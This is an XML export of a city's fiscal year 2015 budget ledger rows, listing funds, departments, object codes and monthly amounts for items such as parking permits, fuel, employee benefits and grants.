<row _id="17178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-9595</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9595</total></row>
<row _id="17179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>824</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>824</total></row>
<row _id="17180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="17181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19597</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19597</total></row>
<row _id="17182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>36960</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36960</total></row>
<row _id="17183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="17184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-COLO ESP</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="17186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>332</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>332</total></row>
<row _id="17187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1501</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1501</total></row>
<row _id="17188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="17189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400351.0</object><object_description>RPTTF RESIDUALS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-5368227</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5368227</total></row>
<row _id="17190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405090.0</object><object_description>CITY YARDS LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-1433025</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1433025</total></row>
<row _id="17191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="17192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>408620.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2280</total></row>
<row _id="17194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMB-MISC</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="17195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>400774.0</object><object_description>1630 17TH ST SUBLEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-112772</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-112772</total></row>
<row _id="17196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555700.0</object><object_description>REGULATORY AGENCY FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8000</total></row>
<row _id="17197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>408630.0</object><object_description>SBDC RENT PYMT-SMC REIMBURSEME</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408640.0</object><object_description>CO ESPLANADE - CMAQ</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-1098000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1098000</total></row>
<row _id="17199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>401328.0</object><object_description>PERMITS -PARKING STRUCTURE 7&amp;8</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-224000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-224000</total></row>
<row _id="17200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408240.0</object><object_description>PARKING STRUCTURE 10</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-289000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-289000</total></row>
<row _id="17201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1350</total></row>
<row _id="17202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555061.0</object><object_description>PROF SVCS - LUCE MONITORING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>152700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>152700</total></row>
<row _id="17203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>198036</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>198036</total></row>
<row _id="17204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>39231</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39231</total></row>
<row _id="17205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410160.0</object><object_description>BLOCK PARTIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="17206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>404900.0</object><object_description>TMP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-580000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-580000</total></row>
<row _id="17207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-52421</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-52421</total></row>
<row _id="17208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533124.0</object><object_description>CITY YARDS CONV FUEL STN MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5200</total></row>
<row _id="17209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>403635.0</object><object_description>JUSTICE ASSIST GRANT 2013-OT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-29283</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-29283</total></row>
<row _id="17210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>28484</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28484</total></row>
<row _id="17211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1220</total></row>
<row _id="17212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120</total></row>
<row _id="17213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="17214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3000</total></row>
<row _id="17215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>401320.0</object><object_description>PARKING STRUCTURE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-1253000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1253000</total></row>
<row _id="17216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404860.0</object><object_description>1630 5TH LOT 29 (5TH &amp; COLORA)</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-67000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-67000</total></row>
<row _id="17217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407260.0</object><object_description>STRUCTURE 9 PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-512000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-512000</total></row>
<row _id="17218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>410220.0</object><object_description>DOWNTOWN ADVERTISING REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-325000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-325000</total></row>
<row _id="17219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>402521.0</object><object_description>1450 OCEAN ACTIVITIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-8000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8000</total></row>
<row _id="17220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408660.0</object><object_description>INTERFUND SERVICES-BEACH FUND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-192510</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-192510</total></row>
<row _id="17221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402040.0</object><object_description>SM PIER - OTHER REVENUES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400040.0</object><object_description>SUPPLEMENTAL PROPERTY TAX</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-350000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-350000</total></row>
<row _id="17223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579004.0</object><object_description>DISCRET-COMM CAREER DEVE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579006.0</object><object_description>DISCRET-SM FESTIVAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579009.0</object><object_description>DISCRET-WATER SUSTAIN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
